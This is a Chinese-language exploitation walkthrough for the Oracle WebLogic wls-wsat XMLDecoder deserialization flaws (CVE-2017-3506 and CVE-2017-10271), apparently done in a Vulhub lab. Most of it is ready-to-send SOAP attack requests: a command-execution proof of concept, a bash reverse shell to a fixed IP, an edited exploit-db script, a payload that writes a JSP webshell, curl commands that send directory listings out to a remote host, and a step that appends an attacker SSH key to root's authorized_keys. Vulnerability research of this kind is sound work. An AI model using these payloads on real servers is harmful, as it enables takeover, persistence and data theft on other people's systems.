漏洞条件
- Oracle WebLogic Server 10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 , 12.2.1.2
漏洞原理
漏洞触发位置:wls-wsat.war
漏洞的本质:构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞
默认受到影响的URI:
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
具体分析:
WebLogic WLS-WebServices组件反序列化漏洞分析
cve-2017-3506&cve-2017-10271简析
在CVE-2017-3506之前,不对payload进行验证,使用object tag可以RCE,CVE-2017-3506的补丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java
中添加了validate方法,在解析xml时,Element字段出现object tag就抛出运行时异常,不过这次防护力度不够,导致了CVE-2017-10271,利用方式类似,使用了void tag进行RCE。
漏洞利用
检测存在
访问/wls-wsat/CoordinatorPortType目录,存在下图则说明或许存在漏洞
直接发送PoC报文如下,利用DNSLog外带验证(报文内容类型是SOAP型WebService报文)
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 628
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>ping dnslog.cn</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
DNSLog看到请求记录:
直接反弹shell
反弹shell的Exp报文,将PoC中填入命令的那一行修改下即可(其实特殊符号无需编码也可以):
<string>bash -i >& /dev/tcp/172.19.0.1/50000 0>&1</string>
exploit-db中的Exp脚本,直接用于反弹shell:https://www.exploit-db.com/exploits/43458/
但是在Vulhub的环境用不了,因为其Linux反弹shell的Exp用的Python,但目标环境没,这里改成用bash反弹shell即可:
# self.cmd_payload = (
# "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket."
# "SOCK_STREAM);s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0); os.dup2("
# "s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
# ).format(lhost=self.lhost, lport=self.lport)
self.cmd_payload = (
"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
).format(lhost=self.lhost, lport=self.lport)
还有个点就是换成/bin/bash
而非/bin/sh
,以及xml标签中的<java>
标签得加上版本和类,还有一处格式错误。
<java version="1.4.0" class="java.beans.XMLDecoder">
写WebShell
写入WebShell的Exp报文,看报文内容即可,换了java.io.PrintWriter类进行操作,其中WebShell文件时写入到了servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp
中,其通过http://ip:7001/bea_wls_internal/test.jsp
访问得到:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
期间可以通过HTTP OOB来外带看看是否创建成功(由于vulhub的靶机上没有装curl,请自行百度去安装):
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>curl http://x.x.x.x:6666/x -d "x=`ls servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war`"</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
vps收到显示:
最后访问:/bea_wls_internal/test.jsp
即可:
写SSH Key
vulhub的靶机上也没有ssh服务,得自己去整,并且把端口映射出来。
修改前面HTTP OOB外带查询当前用户的名称:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>curl http://x.x.x.x:6666/x -d "√"</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
然后探测是否存在.ssh目录和authorized_keys文件:
x=`ls -l /root/.ssh`
如果不存在则需要先创建,之后进行写SSH Key,使用追加的方式,不覆盖:
<string>echo "ssh-rsa xxxxxx" >> /root/.ssh/authorized_keys</string>
查看是否成功:
x=`cat /root/.ssh/authorized_keys`
写入成功后就能直接SSH登录了:
参考资料
浅析WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)